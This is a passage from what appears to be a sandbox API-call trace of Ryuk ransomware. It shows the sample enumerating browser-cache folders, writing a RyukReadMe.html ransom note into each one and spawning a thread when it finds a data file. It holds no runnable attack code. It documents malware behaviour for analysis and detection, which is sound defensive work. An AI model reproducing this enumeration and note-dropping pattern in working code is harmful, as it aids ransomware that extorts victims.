	[0282.483] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0282.483] GetLastError () returned 0xb7
	[0282.483] CloseHandle (hObject=0xacc) returned 1
	[0282.484] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\X9OHK109\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0283.017] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0283.018] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0283.018] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0283.018] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0283.020] SetLastError (dwErrCode=0x0) 
	[0283.020] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\X9OHK109\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\x9ohk109\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0283.022] GetLastError () returned 0x0
	[0283.022] WriteFile (in: hFile=0xacc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0283.025] CloseHandle (hObject=0xacc) returned 1
	[0283.025] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="X9OHK109", cAlternateFileName="")) returned 0
	[0283.025] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0283.025] SetLastError (dwErrCode=0x0) 
	[0283.025] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa34
	[0283.026] GetLastError () returned 0xb7
	[0283.026] CloseHandle (hObject=0xa34) returned 1
	[0283.026] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Content.MSO", cAlternateFileName="")) returned 1
	[0283.026] SetLastError (dwErrCode=0x0) 
	[0283.026] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa34
	[0283.026] GetLastError () returned 0xb7
	[0283.026] CloseHandle (hObject=0xa34) returned 1
	[0283.027] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.MSO\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0283.028] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0283.028] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0283.028] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0283.028] SetLastError (dwErrCode=0x0) 
	[0283.028] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.MSO\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.mso\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa34
	[0283.029] GetLastError () returned 0x0
	[0283.029] WriteFile (in: hFile=0xa34, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10d718, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10d718*=0x273, lpOverlapped=0x0) returned 1
	[0283.031] CloseHandle (hObject=0xa34) returned 1
	[0283.031] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Content.Word", cAlternateFileName="CONTEN~1.WOR")) returned 1
	[0283.032] SetLastError (dwErrCode=0x0) 
	[0283.032] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa34
	[0283.032] GetLastError () returned 0xb7
	[0283.032] CloseHandle (hObject=0xa34) returned 1
	[0283.032] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.Word\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0283.033] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0283.033] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0283.033] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0283.034] SetLastError (dwErrCode=0x0) 
	[0283.034] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.Word\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.word\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa34
	[0283.034] GetLastError () returned 0x0
	[0283.034] WriteFile (in: hFile=0xa34, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10d718, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10d718*=0x273, lpOverlapped=0x0) returned 1
	[0283.036] CloseHandle (hObject=0xa34) returned 1
	[0283.037] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe710360, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0283.037] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6ad7e7f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6ad7e7f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0283.037] SetLastError (dwErrCode=0x0) 
	[0283.037] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa34
	[0283.038] GetLastError () returned 0xb7
	[0283.038] CloseHandle (hObject=0xa34) returned 1
	[0283.038] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6ad7e7f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6ad7e7f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0283.038] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6ad7e7f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6ad7e7f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0283.038] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="AntiPhishing", cAlternateFileName="ANTIPH~1")) returned 1
	[0283.038] SetLastError (dwErrCode=0x0) 
	[0283.039] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0283.039] GetLastError () returned 0xb7
	[0283.039] CloseHandle (hObject=0xacc) returned 1
	[0283.039] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0283.040] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0283.040] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x47f94, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat", cAlternateFileName="2CEDBF~1.DAT")) returned 1
	[0283.040] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0283.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c
	[0283.043] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.043] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x47f94, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat", cAlternateFileName="2CEDBF~1.DAT")) returned 0
	[0283.044] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0283.044] SetLastError (dwErrCode=0x0) 
	[0283.044] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\antiphishing\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0283.045] GetLastError () returned 0x0
	[0283.045] WriteFile (in: hFile=0xacc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0283.047] CloseHandle (hObject=0xacc) returned 1
	[0283.048] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
	[0283.048] SetLastError (dwErrCode=0x0) 
	[0283.048] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0283.048] GetLastError () returned 0xb7
	[0283.048] CloseHandle (hObject=0xacc) returned 1
	[0283.048] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0283.049] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0283.049] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5137ebf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x5137ebf0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="9QH4S0GZ", cAlternateFileName="")) returned 1
	[0283.049] SetLastError (dwErrCode=0x0) 
	[0283.049] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac4
	[0283.359] GetLastError () returned 0x0
